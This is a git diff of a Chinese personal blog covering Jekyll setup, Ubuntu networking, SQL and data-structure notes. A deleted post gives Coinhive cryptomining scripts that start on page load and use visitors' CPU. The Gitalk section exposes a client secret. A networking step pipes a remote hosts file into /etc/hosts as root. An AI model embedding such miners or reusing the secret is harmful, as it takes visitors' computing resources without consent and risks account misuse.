用来定义你最终的文章链接是什么形式,他有下面几个变量: <br/> - year 文件名中的年份 <br/> - month 文件名中的月份 <br/> - day 文件名中的日期 <br/> - title 文件名中的文章标题 <br/> - categories 文章的分类,如果文章没有分类,会忽略 <br/> - i-month 文件名中的除去前缀0的月份 <br/> - i-day 文件名中的除去前缀0的日期
配置效果 <br/> - `permalink: pretty` /2018/06/15/slap-chop/index.html <br/> - `permalink: /:month-:day-:year/:title.html` /06-15-2018/slap-chop.html <br/> - `permalink: /blog/:year/:month/:day/:title` /blog/2018/06/15/slap-chop/index.html <br/> - `permalink: /:title` /github-pages
## 自定义项
### 自定义项
例如我们定义了`title:BeiYuu的博客`这样一项,那么你就可以在文章中使用{ { site.title }}来引用这个变量了,非常方便定义些全局变量。
# 5.YAML Front Matter和模板变量
## 5.YAML Front Matter和模板变量
对于YAML格式的文章Jekyll的格式很严格必须是这样的
@ -114,11 +114,11 @@ title: Blogging Like a Hacker
前后的—不能省略在这之间你可以定一些你需要的变量layout就是调用_layouts下面的某一个模板他还有一些其他的变量可以使用 <br/> - permalink 你可以对某一篇文章使用通用设置之外的永久链接 <br/> - published 可以单独设置某一篇文章是否需要发布 <br/> - category 设置文章的分类 <br/> - tags 设置文章的tag
# 6.使用Disqus管理评论
## 6.使用Disqus管理评论
注意是管理评论Disqus支持很多的博客平台注册账号什么的就不提了,参见下图:<img alt="image" src="http://beiyuu.com/images/githubpages/disqus-site.jpg" title=""/>
## Unversal Code
### Unversal Code
这里使用网友推荐的`Universal Code`,然后会看到一个介绍页面,把下面这段代码复制到你的模板里面,可以只复制到显示文章的模板中:
@ -138,7 +138,7 @@ title: Blogging Like a Hacker
&lt;a href="http://disqus.com" class="dsq-brlink"&gt;blog comments powered by &lt;span class="logo-disqus"&gt;Disqus&lt;/span&gt;&lt;/a&gt;
```
## 异步加载处理
### 异步加载处理
为提高性能需要进行异步加载处理提高性能。比如在最开始页面打开的时候不显示评论当你想看评论的时候点击“显示评论”再加载Disqus的模块。
@ -151,7 +151,7 @@ $('#disqus_container .comment').on('click',function(){
});
```
# 7.使用Gitalk添加评论功能
## 7.使用Gitalk添加评论功能
1. 注册 `GitHub Application``Authorization callback URL` 填写当前使用插件页面的域名,比喻我的`https//ds19991999.github.io/`,注意注意记住最后的clientID 和 clientSecretowner 是自己的用户名.1. 创建 comments.html(以about页面为例)
```
{% if page.comments != false %}
@ -185,28 +185,28 @@ gitalk:
clientSecret: 30532bea61e8b63dc5a852e448621a8c89cef99b
```
1. 下载 gitalk.min.js 和 gitalk.css <br/> 下载 gitalk.min.js放到 assets/js 文件夹下)和 gitalk.css放到assets/css 文件夹下), push 后访问.1. 使用 GitHub 账号登陆初始化,就可以使用评论功能了.
# 8.添加代码高亮插件
## 8.添加代码高亮插件
两个可选插件[DlHightLight代码高亮组件](http://mihai.bazon.net/projects/javascript-syntax-highlighting-engine)和[Google Code Prettify](https://code.google.com/archive/p/google-code-prettify/)。DLHightLight支持的语言相对较少一些有js、css、xml和htmlGoogle的高亮插件基本上任何语言都支持也可以自定义语言也支持自动识别也有行号的特别支持。
Google的高亮插件使用也比较方便只需要在\
# 9.增加统计插件
## 9.增加统计插件
1. 在百度统计上注册账号并登陆,然后新增网站 <br/> <img alt="image" src="http://images.gitbook.cn/a5501280-5bfa-11e8-9a68-fdee5b6ce888" title=""/> <br/> <img alt="image" src="http://images.gitbook.cn/d3a97590-5bfa-11e8-b9ab-abcfff93657e" title=""/>1. 在 _includes 下创建 baidu-anaylysis.html,内容是百度统计生成的代码,如下图: <br/> <img alt="image" src="http://images.gitbook.cn/d93486d0-5bfa-11e8-b5c3-3fe2bc231f99" title=""/>1. 在 head.html 文件中添加 {% include baidu-anaylysis.html %}Push后可以检查是否成功 <br/> <img alt="image" src="http://images.gitbook.cn/fbd322f0-5bfa-11e8-9a68-fdee5b6ce888" title=""/>1. 代码正确安装,可以查看报告了 <br/> <img alt="image" src="http://images.gitbook.cn/00bfaa40-5bfb-11e8-b5c3-3fe2bc231f99" title=""/>
# 10.绑定域名
## 10.绑定域名
## 在github库中
### 在github库中
新建一个 `CNAME` 文件(无后缀名),用文本编辑器打开,在首行添加你的网站域名,如 [http://xxxx.com](http://xxxx.com),注意前面没 [http://example.com](http://example.com) 或者 xxx.example.com。
## 在域名解析提供商
### 在域名解析提供商
以百度云为例: <br/> - 先添加一个 CNAME主机记录写 @,后面记录值写上你的 [http://xxxx.github.io](http://xxxx.github.io) <br/> - 再添加一个 CNAME主机记录写 www后面记录值也是 [http://xxxx.github.io](http://xxxx.github.io) <br/> - 这样别人用 www 和不用 www 都能访问你的网站(其实 www 的方式,会先解析成 [http://xxxx.github.io](http://xxxx.github.io),然后根据 CNAME 再变成[http://xxx.com](http://xxx.com),中间是经过一次转换的)。
# 11.参考资料
## 11.参考资料
[https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md](https://github.com/ds19991999/ds19991999.github.com/blob/master/README.md) <br/> [http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce](http://gitbook.cn/m/mazi/article/5af260fd6f98784056d381ce) <br/> [http://beiyuu.com/github-pages](http://beiyuu.com/github-pages) <br/> [https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html](https://chrisniael.gitbooks.io/gitbook-documentation/content/index.html)
# License
## License
GNU General Public License v3.0

View File

@ -1,91 +0,0 @@
# 原创
在网站嵌入挖矿JS代码样式
# 在网站嵌入挖矿JS代码样式
>
网站挖矿很不道德,纯学习娱乐,请勿用于非法途径.
Coinhive: [https://coinhive.com](https://coinhive.com) , 可以去网站看看不过好像已经被墙了其JS代码被Windows防火墙视为病毒不知道还能不能用。。。
去官网注册一个账号得几个key去https://mymonero.com/ 注册账号,建立自己的钱包,这两个网站都需要操作,具体教程网上有。本文只提供网页样式。
## 官网样式
```
&lt;div&gt;
&lt;script src="https://authedmine.com/lib/simple-ui.min.js" async&gt;&lt;/script&gt;
&lt;div class="coinhive-miner"
style="width: 100%; height: 100px"
data-key="YjyptNPkNzUZwQonjCLhkllZAW85Axyo"
data-autostart="true"
data-whitelabel="false"
data-background="#000000"
data-text="#eeeeee"
data-action="#00ff00"
data-graph="#555555"
data-threads="7"
data-throttle="0.1"&gt;
&lt;em&gt;Loading...&lt;/em&gt;
&lt;/div&gt;
&lt;/div&gt;
```
## 我以前用的样式
大概这个样子
### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
<td align="center">启动线程数</td><td align="center">当前算力(Hashs/秒)</td><td align="center">您已贡献(Hash单位个)</td>
<td align="center">0</td><td align="center">0</td><td align="center">0</td>
<td align="center" colspan="3;">您正在打赏中,随时可以停止。</td>
```
&lt;div&gt;
&lt;h3 align="center"&gt;⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇&lt;/h3&gt;
&lt;script src="https://coinhive.com/lib/coinhive.min.js"&gt;&lt;/script&gt;
&lt;center&gt;
&lt;table &gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align="center"&gt;启动线程数&lt;/td&gt;
&lt;td align="center"&gt;当前算力(Hashs/秒)&lt;/td&gt;
&lt;td align="center"&gt;您已贡献(Hash单位个)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id="tcount" align="center"&gt;0&lt;/td&gt;
&lt;td id="hps" align="center"&gt;0&lt;/td&gt;
&lt;td id="ths" align="center"&gt;0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan="3;" id="status" align="center"&gt;您正在打赏中,随时可以停止。&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/center&gt;
&lt;div&gt;&lt;p id="minebutton" style="text-align:center;"&gt;
&lt;button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)"&gt;停止挖矿打赏&lt;/button&gt;
&lt;/p&gt;&lt;/div&gt;
&lt;script type="text/javascript"&gt;
var miner=new CoinHive.User
("YjyptNPkNzUZwQonjCLhkllZAW85Axyo",
"www.ds-vip.top",
{threads:navigator.hardwareConcurrency,autoThreads:!1,throttle:.9,forceASMJS:!1});
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB),
setInterval(function(){var e=miner.getNumThreads(),
n=Math.round(100*miner.getHashesPerSecond())/100,
t=miner.getTotalHashes();miner.getAcceptedHashes()/256;
miner.isRunning()?(document.getElementById("tcount").innerHTML=e,document.getElementById("hps").innerHTML=n,
document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您正在打赏中,随时可以停止。",
document.getElementById("minebutton").innerHTML='&lt;button onclick="miner.stop()"&gt;停止挖矿打赏&lt;/button&gt;'):(document.getElementById("tcount").innerHTML="0",document.getElementById("hps").innerHTML="0",document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您已经停止打赏,随时可以开始。",document.getElementById("minebutton").innerHTML='&lt;button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)"&gt;开始挖矿打赏&lt;/button&gt;')},1e3)
&lt;/script&gt;
&lt;/div&gt;
```
### ⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇
记得改key。。。

View File

@ -1,267 +0,0 @@
# 原创
彻底解决Ubuntu联网问题——网速飞起
# 彻底解决Ubuntu联网问题——网速飞起
### 文章目录
## 1、`mentohust`锐捷认证客户端
下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
```
sudo apt-get install mentohust
sudo mentohust -k
sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
```
## 2、修改`hosts`并启用`ipv6`
>
本文在`Ubuntu 16.04`测试通过,可以访问`Google、Facebok、Twitter、维基百科`等外网,其他平台`hosts`文件详见: [https://github.com/googlehosts/hosts](https://github.com/googlehosts/hosts/wiki/%E5%90%84%E5%B9%B3%E5%8F%B0-hosts-%E6%96%87%E4%BB%B6%E4%BD%8D%E7%BD%AE)
### 2.1 使用`ipv6`的`host`
1. 启动`ipv6`
```
sudo apt-get install miredo
sudo gedit /etc/default/ufw
```
将`IPV6=no`改为`IPV6=yes`
```
sudo gedit /etc/sysctl.d/10-ipv6-privacy.conf
# 将这两行改为0
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
```
1. 测试`ipv6`
```
ping6 ipv6.baidu.com
```
1. **校园网**是动态分配的`ipv6`地址,需要改成静态的。
```
sudo geidt /etc/sysctl.d/10-ipv6-privacy.conf
```
将`net.ipv6.conf.default.use_tempaddr`改为`0`
```
sudo sysctl --system
```
1. 修改`hosts`: [IPV6 hosts](https://github.com/lennylxx/ipv6-hosts)
```
sudo su
curl https://github.com/lennylxx/ipv6-hosts/raw/master/hosts -L &gt;&gt; /etc/hosts
```
1. 刷新配置
```
sudo sysctl --system
```
### 2.2 `hosts`地址
## 3、修改下载源
### 3.1 `apt-get`下载源
1. 首先测试适合系统最快的源:<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20181104131030.png"/><br/> 这样它会自动匹配最佳的源,而不是网上大家所说的某某源快就选哪个,适合自己的源就是最快的源。 1. `Google搜索`该源地址并修改源
```
sudo gedit /etc/apt/sources.list
```
### 3.2 更换`pip`源
`pip`国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了那就直接将文件夹删除就能恢复原来的源。
**`linux`更换`pip`源**:
```
cat &gt; ~/.pip/pip.conf
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
**`windows`更换`pip`源**:
>
直接在user目录中创建一个pip目录C:\Users\xx\pip新建文件pip.ini内容如下
```
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
### 3.3 更换`GitHub`源
>
其实改`hosts`的时候已经自动改好了,你可以进去查看一下,如果没有就通过下面这种方式加上去.
```
sudo gedit /etc/hosts
219.76.4.4 github-cloud.s3.amazonaws.com
151.101.72.249 http://global-ssl.fastly.Net
192.30.253.112 http://github.com
```
### 3.4 更换`npm`源
```
npm --registry https://registry.npm.taobao.org install express
```
```
npm install -g cnpm --registry=https://registry.npm.taobao.org
```
```
npm config get registry
or
npm info express
```
### 3.5 更换`yarn`源
>
安装源和原来 npm 是一样的,可以通用
```
yarn config set registry 'https://registry.npm.taobao.org'
```
验证:
```
yarn config get registry
```
## 4、与云服务器传输文件
为了避免每次传输文件的时候都要输入公网ip和密码挺麻烦的所以索性就直接在服务器端配置本地`ssh`传输公匙,一劳永逸。
### 4.1 配置密匙验证
```
ssh-keygen -t rsa -C "your_email@example.com"
```
1. 在服务器端用户目录创建文件`~/.ssh/authorized_keys`,把本地`id_rsa.pub`公匙添加到这个文件中就可以了。1. 在本地用户目录创建文件`~/.ssh/config`,添加如下信息:
```
host servername
user username
hostname pubic-ip
port 22
identityfile ~/.ssh/id_rsa
```
其中`servername`随便填,与下文中的传输文件对应就行,`hostname`是公网`ip`。`user`填服务器端用户名,该用户需要有对系统文件的读写能力,直接用`root` 就好啦。
### 4.2 传输单个文件
1、从服务器上下载文件
```
scp servername:/path/filename /local_dir_path
```
2、上传本地文件到服务器
```
scp /path/filename servername:/path
```
### 4.3 传输文件夹
1、从服务器下载整个目录
```
scp -r servername:/remote_dir /local_dir
```
2、上传目录到服务器
```
scp -r /local_dir servername:/remote_dir
```
## 5、修改`DNS`
修改`DNS`是为了进一步提高浏览器查询`ip`地址的速度,提高网络流畅度。
```
sudo gedit /etc/network/interfaces
# 加上
dns-nameservers 8.8.8.8
dns-nameservers 240c::6666
sudo gedit /etc/resolv.conf
# 加上
nameserver 8.8.8.8
nameserver 240c::6666
```
```
sudo /etc/init.d/resolvconf restart
```
此时重启`DNS`服务发现又没有了,解决办法是:在`/etc/resolvconf/resolv.conf.d/`目录下创建`tail`文件,写入
```
nameserver 8.8.8.8
nameserver 240c::6666
```
这样再执行`sudo /etc/init.d/resolvconf restart`就`OK`了.
## 6、`SSR`服务器搭建并配置`ipv6`隧道代理
1. 申请`ipv6`的`ip`: [https://www.tunnelbroker.net/register.php](https://www.tunnelbroker.net/register.php)
>
注意几个`ip`的区别
1. 按照网上教程一键脚本配置搞定.
## 7、搭建`aria2`服务器
>
我的服务器地址,[https://download.creat.kim](https://download.creat.kim) , 你们可以上去看看,就是按照作者的教程搭的,我搭建的没有提供公共下载服务。
```
nohup aria2c --enable-rpc --rpc-listen-all=true --rpc-allow-origin-all &amp;
python -m SimpleHTTPServer 端口号 &amp;
```
## 8、`nginx`多端口不同域名配置
>
直接在配置文件加个`server`函数搞定
好啦,`Ubuntu 16.04`网络环境就全部配置好啦,最重要的是可以上外网,下载网速比以前快很多倍。<br/> **Enjoy it**

View File

@ -3,7 +3,7 @@
# 教你屏蔽CSDN广告
## 吐槽一下
### 吐槽一下
CSDN博客的优点就不提了但是有一点很难忍受那就是广告几乎每一个页面都少不了广告。之前我就是因为受不了广告所以干脆就不玩CSDN了后来发现这些广告都是可以屏蔽的只是我这种小白不清楚而已…
@ -11,15 +11,15 @@ CSDN博客的优点就不提了但是有一点很难忍受那就是广告
废话不多说,开始安装插件。
## 步骤
### 步骤
### 1.Stylus插件
#### 1.Stylus插件
先在Google的扩展程序商店中搜索`Stylus`,第一个就是,有了这个插件,我们才能对网页进行自定义样式和排版修改。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819214140.jpg" title=""/> <br/> 这个插件真的是一个插件神器,有了它,可以安装各种第三方插件进行各种网页的自定义样式修改,还可以使用自己写的`CSS`样式进行网页优化,十分方便,比喻在`Github`上面安装几个插件,然后页面就变成这个样子了。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819214543.jpg" title=""/> <br/> 比喻在百度贴吧安装一个插件,然后页面就变成这个样子了,是不是很惊艳。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819215228.jpg" title=""/> <br/> 这些网页样式插件在 [https://userstyles.org/](https://userstyles.org/) 上面都可以找到,之后直接傻瓜式的点安装就完事了。
好了,回到我们要解决的问题,屏蔽 `CSDN` 广告。
### 2.CSDN去广告插件
#### 2.CSDN去广告插件
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中搜索`CSDN去广告插件`,如下图,然后安装就可以了。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819220008.jpg" title=""/> <br/> 可以看到这插件还是近两天更新的,然后就被我无意中发现了,源码其实就是下面几十行。
@ -87,7 +87,7 @@ main div:nth-child(5){
基本上这个简短的`CSS`就可以屏蔽掉CSDN广告感谢 [Demo_Liu](https://blog.csdn.net/demo_liu/article/month/2018/08?orderby=UpdateTime) 博主提供的插件。
### 3.其他优化
#### 3.其他优化
在 [https://userstyles.org/styles/browse/csdn](https://userstyles.org/styles/browse/csdn) 中可以看到其他不少插件,这里我推荐一个`CSDN正文前置` 插件。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819222711.jpg" title=""/> <br/> 将所有样式统一换成这种左右排版格式。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180819222926.jpg" title=""/> <br/> 源码:

View File

@ -3,28 +3,12 @@
# 最新Linux下QQ和微信的使用很方便
# Linux下QQ和微信的使用很方便
## Linux下QQ和微信的使用很方便
先安利一波不少大佬将app做成了AppImage的格式这可以说是Linux入门级用户的福音不少app可以直接在linux上面运行直接下载AppImage文件无需配置。当然qq和微信一直以来都是大家关注的焦点所以这里为就分享一波在Linux系统上面qq和微信最简单的使用方法。
### 1. 第一步获取AppImage文件
#### 1. 第一步获取AppImage文件
官网地址:[https://appimage.github.io/apps/](https://appimage.github.io/apps/) 这个网站都是为Linux用户提供的AppImage文件方便用户在Linux系统上体验一些常用的app。
微信就用官网的:[electron-wechat ](https://appimage.github.io/electron-wechat/),当然这个:[https://github.com/geeeeeeeeek/electronic-wechat](https://github.com/geeeeeeeeek/electronic-wechat) 也是非常优秀的提供deb包安装也很方便。
而qq这个项目做的比较好[https://github.com/askme765cs/Wine-QQ-TIM](https://github.com/askme765cs/Wine-QQ-TIM)
好了得到appimage文件就美滋滋了。
### 2. 更改appimage包权限
```
chmod a+x QQ-20171129-x86_64.AppImage
chmod a+x electron-wechat-0.1.1-x86_64.AppImage
```
权限改完了就直接享受Linux版的微信和qq了运行`./QQ-20171129-x86_64.AppImage`,或者直接点击运行。是不是很方便!
### 3. 上图
微信就用官网的:[electron-wechat ](https://appimage.github.io/electron-wechat/),当然这个:[https://github.com/geeee](https://github.com/geeeeeeeeek/electronic-wechat)

View File

@ -3,9 +3,9 @@
# 第一个Shell脚本
## 第一个Shell脚本
### 第一个Shell脚本
### hello_world脚本
#### hello_world脚本
编写一个 Shell 脚本:**编写一个脚本**、**使脚本文件可执行**、**把脚本放置到 shell 能够找到的地方**
@ -38,7 +38,7 @@ alien@localhost:~ $ . .bashrc
这个点(.)命令是 source 命令的同义词,一个 shell 内建命令,用来读取一个指定的 shell 命令文件, 并把它看作是从键盘中输入的一样,`.bashrc`文件存放了环境变量。
### 脚本书写规范
#### 脚本书写规范
```
ls -ad
@ -116,7 +116,7 @@ token
我们 在脚本文件中嵌入正文文本然后把它发送给一个命令的标准输入。command 是一个可以接受标准输入的命令名token 是一个用来指示嵌入文本**结束**的字符串。here documents 中的**单引号和双引号**会失去它们在 shell 中的特殊含义,把它们看作是普通的字符。如果我们把重定向操作符从 “&lt;&lt;” 改为 “&lt;&lt;-”shell 会**忽略在此 here document 中开头的 tab 字符**。 这就能缩进一个 here document从而提高脚本的可读性。
## 自顶向下设计
### 自顶向下设计
先确定上层步骤,然后再逐步细化这些步骤的过程被称为自顶向下设计。开发一个报告产生器脚本:

View File

@ -7,13 +7,13 @@
参考书籍:[https://book.douban.com/subject/27055712/](https://book.douban.com/subject/27055712/)
### 目录
#### 目录
## 1、法则
### 1、法则
## 2、SQL书写规则
### 2、SQL书写规则
## 3、权限管理
### 3、权限管理
MySQL 的账户信息保存在 mysql 这个数据库中。
@ -80,7 +80,7 @@ SET PASSWROD FOR myuser = Password('new_password');
```
## 4、SQL常用命令
### 4、SQL常用命令
修改MySQL提示符:
@ -135,9 +135,9 @@ FROM mytable; -- 注释
```
## 5、表的创建、修改和插入
### 5、表的创建、修改和插入
### 创建表
#### 创建表
```
@ -150,7 +150,7 @@ CREATE TABLE mytable (
```
### 修改表
#### 修改表
添加列
@ -182,7 +182,7 @@ ALTER TABLE &lt;原表名&gt; to &lt;新表名&gt;
```
### 插入表数据
#### 插入表数据
普通插入,不指定列则要求全部要插入

View File

@ -3,7 +3,7 @@
# 第一章 绪论
# 1.代码规范
## 1.代码规范
```
//功能函数实现
@ -32,9 +32,9 @@ void RCR(int R[],int n,int p)
//其余的一些东西可以不用写
```
# 2.C/C++基础
## 2.C/C++基础
## 2.1 数据类型
### 2.1 数据类型
```
//结构型
@ -73,7 +73,7 @@ int *p;
p=(int *)malloc(n * sizeof(int));
```
## 2.2 函数
### 2.2 函数
```
//被传入的函数的参数不会发生改变

View File

@ -3,33 +3,33 @@
# 第七章 图
# 一、图的存储结构
## 一、图的存储结构
>
## 1.邻接矩阵
### 1.邻接矩阵
>
## 2.邻接表
### 2.邻接表
>
## 3.邻接多重表(有点看不懂…)
### 3.邻接多重表(有点看不懂…)
>
# 二、图的遍历
## 二、图的遍历
## 1.深度优先搜索遍历
### 1.深度优先搜索遍历
>
@ -71,7 +71,7 @@ void preorder(BTNode *p)
## 2.广度优先搜索遍历
### 2.广度优先搜索遍历
>
@ -131,7 +131,7 @@ void bfs(AGraph *g)
}
```
## 3.例程
### 3.例程
```
//1.求不带权无向连通图G距离顶点v最远的一个顶点
@ -210,13 +210,13 @@ int DFSTrave(AGraph *G, int i, int j)
}
```
# 三、最小(代价)生成树
## 三、最小(代价)生成树
>
## 1.普里姆算法
### 1.普里姆算法
>
@ -262,7 +262,7 @@ void Prim(MGraph g,int v0,int &amp;sum)
//时间复杂度O(n^2),普里姆算法适用于稠密图
```
## 2.克鲁斯卡尔算法
### 2.克鲁斯卡尔算法
>
@ -309,9 +309,9 @@ void Kruskal(MGraph g,int &amp;sum,Road road[])
//克鲁斯卡尔算法适用于稀疏矩阵
```
# 四、最短路径
## 四、最短路径
## 1.迪杰斯特拉算法
### 1.迪杰斯特拉算法
>
@ -386,7 +386,7 @@ void Dijkstra(MGraph g,int v,int dist[],int path[])
## 2.费洛伊德算法
### 2.费洛伊德算法
>
@ -424,7 +424,7 @@ void Floyd(MGraph g,int Path[][maxSize])
}
```
# 五、拓扑排序
## 五、拓扑排序
>
@ -470,13 +470,13 @@ int TopSort(AGraph *G)
# 六、关键路径
## 六、关键路径
>
# 七、例程
## 七、例程
```
//1.判断以邻接表方式存储的有向图中是否存在由顶点vi到顶点vj的路径

View File

@ -3,11 +3,11 @@
# 第三章 栈和队列
# 一、基本概念
## 一、基本概念
栈:先进先出,顺序栈和链式栈,本质上是线性表 <br/> 队列:先进后出,一种操作受限的线性表
# 二、结构体定义
## 二、结构体定义
```
//1.顺序栈定义
@ -47,7 +47,7 @@ typedef struct
}LiNode;
```
# 三、顺序栈
## 三、顺序栈
```
//1.顺序栈要素
@ -94,7 +94,7 @@ stack[++top]=x;
x=stack[top--];
```
# 四、链栈
## 四、链栈
```
//1.要素
@ -144,7 +144,7 @@ void pop(LNode *lst, int *&amp;x)
}
```
# 五、栈的应用
## 五、栈的应用
```
//1.算法:判断一个表达式的括号是否配对
@ -239,7 +239,7 @@ int pop(LNode *&amp;lst, int &amp;x)
}
```
# 六、顺序队
## 六、顺序队
```
//1.四个要素
@ -281,7 +281,7 @@ int deQueue(SqQueue &amp;qu, int &amp;x)
}
```
# 七、链队
## 七、链队
```
//1.要素
@ -333,7 +333,7 @@ int deQueue(LiQueue *lqu, int &amp;x)
}
```
# 八、实例
## 八、实例
```
//1.共享栈s0、s1的相关操作共享elem[0,1,...,maxSize-1]

View File

@ -3,15 +3,15 @@
# 第九章 查找
# 一、基础知识点
## 一、基础知识点
## 1.基本概念
### 1.基本概念
>
## 2.顺序查找法
### 2.顺序查找法
>
思路从表的一端开始顺序扫描线性表依次扫描到的关键字和给定值k比较
@ -32,7 +32,7 @@ int Search(int a[],int n,int k)
//查找失败----ASL分析ASL=n,时间复杂度O(n);
```
## 3.折半查找法
### 3.折半查找法
>
**思路:** <br/> 1.要求线性表**有序**设R[low, … ,high]是当前查找区间mid = ( low / high ) / 2 <br/> 2.将待查找k与R[mid]进行比较相等则查找成功返回mid失败则确定新查找区间 <br/> 3.R[mid] &gt; k则high = mid - 1若R[mid]
@ -58,7 +58,7 @@ int HalfSearch(int R[],int low,int high,int k)
## 4.分块查找
### 4.分块查找
>
@ -78,9 +78,9 @@ indexElem index[maxSize]; //定义索引表
**算法描述:** <br/> 首先确定待查找元素的块,采用二分法查找;块内元素较少,直接用顺序查找; <br/> 平均查找长度 = 二分法查找平均长度 + 顺序查找平均查找长度;
# 二、二叉排序树与平衡二叉树
## 二、二叉排序树与平衡二叉树
## 1.二叉排序树
### 1.二叉排序树
>
@ -158,15 +158,15 @@ int judgeBST(BTNode *bt)
}
```
## 2.平衡二叉树
### 2.平衡二叉树
>
# 三、B-树和B+树
## 三、B-树和B+树
## 1.基本概念
### 1.基本概念
>
@ -175,41 +175,41 @@ int judgeBST(BTNode *bt)
</tbody></table>
## 2.基本操作
### 2.基本操作
## 3.B+树
### 3.B+树
>
# 四、散列表
## 四、散列表
## 1.基本概念
### 1.基本概念
>
## 2.Hash表建立以及冲突解决
### 2.Hash表建立以及冲突解决
>
## 3.常用Hash函数构造方法
### 3.常用Hash函数构造方法
>
## 4.常用的Hash冲突处理方法
### 4.常用的Hash冲突处理方法
>
## 5.散列表的性能分析
### 5.散列表的性能分析
>

View File

@ -3,9 +3,9 @@
# 第二章 线性表
# 1.线性表的基本操作
## 1.线性表的基本操作
## 1.1 结构体定义
### 1.1 结构体定义
```
//顺序表
@ -37,7 +37,7 @@ typedef struct DLNode
LNode *A = (LNode*)malloc(sizeof(LNode));
```
## 1.2 顺序表的操作
### 1.2 顺序表的操作
```
//向列表中插入元素x,使顺序表仍然保持递增序列
@ -110,7 +110,7 @@ int getElem(Sqlist L,int p,int &amp;e)
}
```
## 1.3 单链表操作
### 1.3 单链表操作
```
void merge(LNode *A,LNode *B,LNode *&amp;C)
@ -241,7 +241,7 @@ int findAndDelete(LNode *C,int x)
}
```
## 1.4 双链表操作
### 1.4 双链表操作
```
//尾插法建立双链表
@ -277,13 +277,13 @@ q-&gt;next-&gt;prior=p;
free(q);
```
## 1.5 循环链表操作
### 1.5 循环链表操作
>
# 2.实例
## 2.实例
>

View File

@ -3,7 +3,7 @@
# 第五章 数组、矩阵与广义表
# 一、矩阵的压缩存储
## 一、矩阵的压缩存储
```
//矩阵定义
@ -39,7 +39,7 @@ void mutmat(int C[][maxSize],int A[][maxSize],int B[][maxSzie],int m,int n,int k
}
```
# 二、特殊矩阵和稀疏矩阵
## 二、特殊矩阵和稀疏矩阵
```
//1.三元组表示法
@ -109,7 +109,7 @@ void print(float B[][3])
}
```
# 三、十字链表
## 三、十字链表
```
//普通结点定义
@ -177,10 +177,10 @@ int createcrossListmat(float A[][maxSize],int m, int n,int k,CrossList &amp;M)
}
```
# 四、广义表
## 四、广义表
>
广义表:表元素可以是原子或者广义表的一种线性表的扩展结构 <br/> 广义表的深度:表中最上层元素的个数 <br/> 广义表的长度:表中括号的最大层数 <br/> 表头和表尾:当广义表非空时,第一个元素为广义表的表头,其余元素组成的表是广义表的表尾 <br/> - <br/> 头尾链表存储结构(类似于不带头结点的单链表)两种结点: <br/> 原子结点:标记域和数据域
<h2>广义表结点:标记域、头指针、尾指针</h2>
<h3>广义表结点:标记域、头指针、尾指针</h3>
扩展线性表存储结构(类似于带头结点的单链表存储结构)l两种结点 <br/> 原子结点:标记域、数据域和尾指针域 <br/> 广义表结点:标记域、头指针域和尾指针域

View File

@ -3,13 +3,13 @@
# 第六章 树与二叉树
# 一、二叉树的主要性质
## 一、二叉树的主要性质
>
叶子结点数n0 <br/> 单分支结点n1 <br/> 双分支结点n2 <br/> 总结点数n0+n1+n2 <br/> 总分支数n1 + 2n2 = 总结点数 - 1 即n0 = n2 +1 <br/> 叶子结点:双分支结点 + 1
# 二、二叉树的存储结构
## 二、二叉树的存储结构
```
//1.顺序存储结构:采用一维数组进行存储,适合完全二叉树,用于一般结构的二叉树则会浪费大量存储空间;
@ -22,9 +22,9 @@ typedef struct BTNode
}BTNode;
```
# 三、二叉树的遍历算法
## 三、二叉树的遍历算法
## 1.二叉树简单遍历算法
### 1.二叉树简单遍历算法
>
@ -65,7 +65,7 @@ void posorder(BTNode *p)
}
```
## 2.例程
### 2.例程
1.将表达式(a-(b+c))*(d/e)存储在以二叉链表为结构的二叉树中
@ -248,7 +248,7 @@ BTNode *CreateBT(char pre[],char in[]int l1,int r2,int l2,int r2)
}
```
## 3.层次遍历(很重要)
### 3.层次遍历(很重要)
>
@ -355,7 +355,7 @@ int maxNode(BTNode *b)
}
```
# 四、遍历算法改进
## 四、遍历算法改进
>
@ -458,9 +458,9 @@ void posorderNonrecursion(BTNode *bt)
}
```
# 五、线索二叉树
## 五、线索二叉树
## 1.概念描述
### 1.概念描述
>
@ -480,7 +480,7 @@ typedef struct TBTNode
**思路:** <br/> 左线索指针指向当前结点在中序遍历序列中的前驱结点,右线索指针指向后继结点; <br/> 定义一个p指针指向当前正在访问的结点pre指向p的前驱结点priorp的左线索如果存在则让其指向prepre的右线索如果存在则让其指向p。 <br/> 当p要离开一个访问的结点时pre指向p当p来到一个新结点时pre指向此时p所指结点的前驱结点。
## 2.具体算法描述
### 2.具体算法描述
```
//1.中序遍历对二叉树进行线索化算法
